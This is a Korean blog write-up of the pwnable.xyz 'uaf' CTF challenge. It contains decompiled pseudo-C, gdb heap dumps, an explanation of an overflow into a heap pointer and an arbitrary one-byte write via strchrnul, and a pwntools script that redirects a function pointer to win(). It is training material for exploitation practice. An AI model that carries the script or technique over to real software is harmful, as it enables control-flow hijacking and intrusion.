[pwnable.xyz] uaf write up
글 작성자: Universe7202
pwnable.xyz 19번째 문제 uaf 이다.
이번 문제는 Use After Free 문제 인줄 알았지만, 전혀 아니었다...
Analyze
해당 문제의 바이너리를 분석하면 아래와 같이 사용자 정의 함수가 많을 것을 알 수 있다.
ubuntu:~/environment/ctf/pwnable.xyz/19_uaf $ func challenge
__libc_csu_fini
__libc_csu_init
_fini
_init
_start
calc
delete_save
edit_char
handler
initialize_game
main
print_menu
read_int32
save_game
setup
win
gdb 로 바이너리를 분석해서 c로 나타내면 아래와 같다.
#include <stdio.h>
void initialize_game(){
*cur = malloc(0x90);
*cur+0x80 = malloc(0x90);
*cur+0x88 = &calc;
*saves = *cur;
}
void calc(){
int count = 0;
while(count <= 23){
*(*cur+0x80) += (long)(count) << 0x2;
if ((int)*(*cur+0x80) == 0){
int tmp2 = 0; // rbp-0x14
int tmp3 = 0; // rbp-0x10
scanf("%d %d", &tmp2, tmp3);
*(*cur+0x80 + ((long)(count) << 0x2)) = tmp2 ^ tmp3;
break;
}
count++;
}
}
void save_game(){
int count = 1;
while(count <= 0x9){
if (*(saves + count*8) == 0){
*(saves + count*8) = malloc(0x90);
*(saves + count*8) + 0x80 = malloc(0x90);
if(*(*(saves + count*8) + 0x88) == 0){
*(*(saves + count*8) + 0x88) = *(*cur + 0x88);
printf("Save name: ");
// Vulnerability
read(0, *(saves + count*8), 0x80); // Print name with malloc address
*cur = *(save + count*8);
return;
}
}
count++;
}
puts("No space.");
}
void delete_save(){
printf("Save #: ");
int input = read_int32();
if (0 <= input && input <= 0x09){
if(*(save + input*8) != 0){
long tmp1 = *(*(save + input*8) + 0x80); // rbp-0x10
free(*(save + input*8));
*(*(save + input*8) + 0x80) = 0;
free(tmp1);
*(save + input*8) = 0;
break;
// Vulnerability
// Not free cur value
}
}
else {
puts("Invalid");
}
}
void edit_char(){
puts("Edit a character from your name.");
printf("Char to replace: ");
char tmp1 = getchar();
getchar();
printf("New char: ");
char tmp2 = getchar();
getchar();
if(tmp1 != 0 && tmp2 != 0){
long tmp3 = strchrnul(*cur, tmp1);
if(tmp3 != 0){
(char)(tmp3) = tmp2;
}
else{
puts("Character not found.");
}
}
}
void print_menu(){
printf("Menu:\n\t1. Play\n\t2. Save game.\n\t3. Delete save\n\t4. Print name.\n\t5. Change char.\n\t0. Exit.\n> ");
}
int main(){
printf("Name: ");
read(0, *cur, 0x7f); // 127
while(1){
print_menu();
int select = read_int32();
if(select > 5){
puts("Invalid");
}
else{
tmp = select * 4;
long tmp = *(0x4013fc + (select * 4));
tmp += 0x4013fc;
tmp();
// if tmp == 0x401203
(*cur+0x88)();
// if tmp == 0x40121d
save_game();
// if tmp ==
delete_save();
// if tmp ==
printf("Save name: %s\n", *cur);
// else
puts("Invalid");
}
}
}
전역 변수로는 cur, saves 변수가 존재하는데 구조는 아래와 같다.
gdb-peda$ x/16gx 0x6022c0
0x6022c0 <cur>: 0x0000000000603290 0x0000000000000000
0x6022d0: 0x0000000000000000 0x0000000000000000
0x6022e0 <saves>: 0x0000000000603290 0x0000000000000000
0x6022f0 <saves+16>: 0x0000000000000000 0x0000000000000000
0x602300 <saves+32>: 0x0000000000000000 0x0000000000000000
0x602310 <saves+48>: 0x0000000000000000 0x0000000000000000
0x602320 <saves+64>: 0x0000000000000000 0x0000000000000000
main 함수가 처음 호출되었을때, Name 값을 입력하는데 이때 cur 변수가 가지는 주소에 값이 저장이 된다.
0x603310 에는 malloc의 주소
0x603318 에는 calc 함수의 주소가 들어가 있다.
gdb-peda$ x/20gx 0x0000000000603290
0x603290: 0x4141414141414141 0x4141414141414141
0x6032a0: 0x4141414141414141 0x4141414141414141
0x6032b0: 0x4141414141414141 0x4141414141414141
0x6032c0: 0x4141414141414141 0x4141414141414141
0x6032d0: 0x4141414141414141 0x4141414141414141
0x6032e0: 0x4141414141414141 0x4141414141414141
0x6032f0: 0x4141414141414141 0x4141414141414141
0x603300: 0x4141414141414141 0x0041414141414141
0x603310: 0x0000000000603330 0x0000000000400d6b
0x603320: 0x0000000000000000 0x00000000000000a1
0x603330: 0x0000000000000000 0x0000000000000000
취약점은 save_game() 함수에서 발생한다.
13번째에 Name 값을 입력할때 0x80 만큼 입력해서 0x603310 에 있는 malloc 함수의 주소까지 접근이 가능하다.
void save_game(){
int count = 1;
while(count <= 0x9){
if (*(saves + count*8) == 0){
*(saves + count*8) = malloc(0x90);
*(saves + count*8) + 0x80 = malloc(0x90);
if(*(*(saves + count*8) + 0x88) == 0){
*(*(saves + count*8) + 0x88) = *(*cur + 0x88);
printf("Save name: ");
// Vulnerability
read(0, *(saves + count*8), 0x80); // Print name with malloc address
*cur = *(save + count*8);
return;
}
}
count++;
}
puts("No space.");
}
그다음 취약점은 edit_char() 함수에서 발생한다.
12번째 줄에 strchrnul() 함수로 사용자가 입력한 문자가 있는지 검사를 하게 되는데
이때 strchrnul() 함수의 return 값은 주소이다.
하지만 12번째 줄에는 주소가 0이 아니면 해당 주소에 write 하게 되므로, 잘못된 코딩으로 에러가 발생하게 된다.
void edit_char(){
puts("Edit a character from your name.");
printf("Char to replace: ");
char tmp1 = getchar();
getchar();
printf("New char: ");
char tmp2 = getchar();
getchar();
if(tmp1 != 0 && tmp2 != 0){
long tmp3 = strchrnul(*cur, tmp1)
if(tmp3 != 0){
(char)(tmp3) = tmp2;
}
else{
puts("Character not found.");
}
}
}
Payload
from pwn import *
# p = process("./challenge")
p = remote("svc.pwnable.xyz", "30015")
e = ELF("./challenge", checksec=False)
p.sendlineafter("Name: ", "Universe")
p.sendlineafter("> ", "2")
p.sendafter("Save name: ", "A"*0x80)
calc_addr = list(p32(e.symbols["calc"]))
win_addr = list(p32(e.symbols["win"]))
for i in range(4):
p.sendlineafter("> ", "5")
p.sendlineafter(": ", "Z")
p.sendlineafter(": ", "A")
count = 0
while count < 3:
p.sendlineafter("> ", "5")
p.sendlineafter(": ", calc_addr[count])
p.sendlineafter(": ", win_addr[count])
count += 1
p.sendlineafter("> ", "1")
p.interactive()
'🚩CTF' 카테고리의 다른 글
[pwnable.xyz] rwsr write up (0) | 2020.02.25 |
---|---|
[pwnable.xyz] bookmark write up (0) | 2020.02.25 |
[pwnable.xyz] fspoo write up (0) | 2020.02.21 |
[pwnable.xyz] Game write up (0) | 2020.02.15 |
[pwnable.xyz] l33t-ness write up (0) | 2020.01.31 |
댓글
이 글 공유하기
다른 글
-
[pwnable.xyz] rwsr write up
[pwnable.xyz] rwsr write up
2020.02.25 -
[pwnable.xyz] bookmark write up
[pwnable.xyz] bookmark write up
2020.02.25 -
[pwnable.xyz] fspoo write up
[pwnable.xyz] fspoo write up
2020.02.21 -
[pwnable.xyz] Game write up
[pwnable.xyz] Game write up
2020.02.15